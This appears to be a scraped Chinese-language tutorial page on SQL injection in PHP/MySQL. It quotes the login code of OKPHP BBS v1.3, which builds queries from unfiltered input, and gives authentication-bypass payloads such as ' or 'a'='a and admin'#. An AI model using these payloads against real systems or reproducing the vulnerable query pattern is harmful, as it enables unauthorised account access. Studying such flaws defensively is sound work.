时间:2021-07-01 10:21:17 帮助过:15人阅读
$conn=sql_connect($dbhost, $dbuser, $dbps教程wd, $dbname); $password = md5($password); $q = "select id,group_id from $user_table where username='$username' and password='$password'"; $res = sql_query($q,$conn); $row = sql_fetch_row($res); $q = "select id,group_id from $user_table where username='$username' and password='$password'
中
$username 和 $password 没过滤,很容易就绕过。(php100中文网)
对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:
构造1(利用逻辑运算):$username=' or 'a'='a $password=' or 'a'='a
相当于sql语句:
select * from $user_table where username='' or 'a'='a' and password='' or 'a'='a'
构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)
即:
select * from $user_table where username='admin'#' and password='$password'
相当于:
select * from $user_table where username='admin'
在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:
select id,group_id from $user_table where username='admin'#' and password='$password'"
相当于:
select id,group_id from $user_table where username='admin'
1 2 3
http://www.bkjia.com/PHPjc/629723.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/629723.htmlTechArticle由于php教程和mysql教程本身得原因,php+mysql的注射要比asp教程困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对okphp bbs v1.3一...